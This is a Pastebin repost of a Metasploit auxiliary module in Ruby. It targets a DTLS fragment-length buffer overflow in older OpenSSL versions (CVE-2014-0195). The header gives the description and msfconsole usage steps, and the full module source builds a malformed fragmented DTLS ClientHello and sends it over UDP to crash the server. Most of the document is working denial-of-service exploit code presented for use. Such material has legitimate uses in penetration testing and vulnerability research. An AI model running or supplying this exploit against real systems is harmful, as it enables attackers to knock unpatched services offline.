Advertisement
Mayk0

#; OpenSSL DTLS Fragment Buffer Overflow DoS Exploit

Jun 30th, 2014
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 4.01 KB | None | 0 0
  1. OpenSSL DTLS Fragment Buffer Overflow DoS Exploit
  2. [ Home ] [ Description ]
  3. ////////////////////////////////////////////////////
  4. Full title  OpenSSL DTLS Fragment Buffer Overflow DoS Exploit
  5. Date add    2014-07-01
  6. Category    dos / poc
  7. Platform    multiple
  8. Risk    [<font color="#FFBF00">Security Risk High</font>]
  9. ===============================================
  10. Description:
  11. This module performs a Denial of Service Attack against Datagram TLS in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. This occurs when a DTLS ClientHello message has multiple fragments and the fragment lengths of later fragments are larger than that of the first, a buffer overflow occurs, causing a DoS.
  12. Usage info:
  13. msf > use auxiliary/dos/ssl/dtls_fragment_overflow msf auxiliary(dtls_fragment_overflow) > show actions ...actions... msf auxiliary(dtls_fragment_overflow) > set ACTION <action-name> msf auxiliary(dtls_fragment_overflow) > show options ...show and set options... msf auxiliary(dtls_fragment_overflow) > run
  14. ----------------------------------------------
  15.  
  16. ##
  17. # This module requires Metasploit: http//metasploit.com/download
  18. # Current source: https://github.com/rapid7/metasploit-framework
  19. ##
  20.  
  21. require 'msf/core'
  22.  
  23. class Metasploit3 < Msf::Auxiliary
  24.  
  25.   include Msf::Auxiliary::Dos
  26.   include Exploit::Remote::Udp
  27.  
  28.   def initialize(info = {})
  29.     super(update_info(info,
  30.       'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
  31.       'Description' => %q{
  32. This module performs a Denial of Service Attack against Datagram TLS in
  33. OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
  34. This occurs when a DTLS ClientHello message has multiple fragments and the
  35. fragment lengths of later fragments are larger than that of the first, a
  36. buffer overflow occurs, causing a DoS.
  37. },
  38.       'Author' =>
  39.         [
  40.           'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
  41.           'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
  42.         ],
  43.       'License' => MSF_LICENSE,
  44.       'References' =>
  45.         [
  46.           ['CVE', '2014-0195'],
  47.           ['ZDI', '14-173'],
  48.           ['BID', '67900'],
  49.           ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
  50.           ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
  51.         ],
  52.       'DisclosureDate' => 'Jun 05 2014'))
  53.  
  54.     register_options([
  55.       Opt::RPORT(4433),
  56.       OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
  57.     ], self.class)
  58.  
  59.   end
  60.  
  61.   def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
  62.     # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
  63.     # fragment offset (3 bytes), fragment length (3 bytes), fragment body
  64.     sol = (seq << 48) | (frag_offset << 24) | frag_length
  65.     [
  66.       (type << 24) | length,
  67.       (sol >> 32),
  68.       (sol & 0x00000000FFFFFFFF)
  69.     ].pack("NNN") + frag_body
  70.   end
  71.  
  72.   def build_tls_message(type, version, epoch, sequence, message)
  73.     # format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
  74.     # sequence # (6 bytes) + message length (2 bytes), message body
  75.     es = (epoch << 48) | sequence
  76.     [
  77.       type,
  78.       version,
  79.       (es >> 32),
  80.       (es & 0x00000000FFFFFFFF),
  81.       message.length
  82.     ].pack("CnNNn") + message
  83.   end
  84.  
  85.   def run
  86.     # add a small fragment
  87.     fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
  88.     # add a large fragment where the length is significantly larger than that of the first
  89.     # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
  90.     fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
  91.     message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
  92.     connect_udp
  93.     print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
  94.     udp_sock.put(message)
  95.     disconnect_udp
  96.   end
  97. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement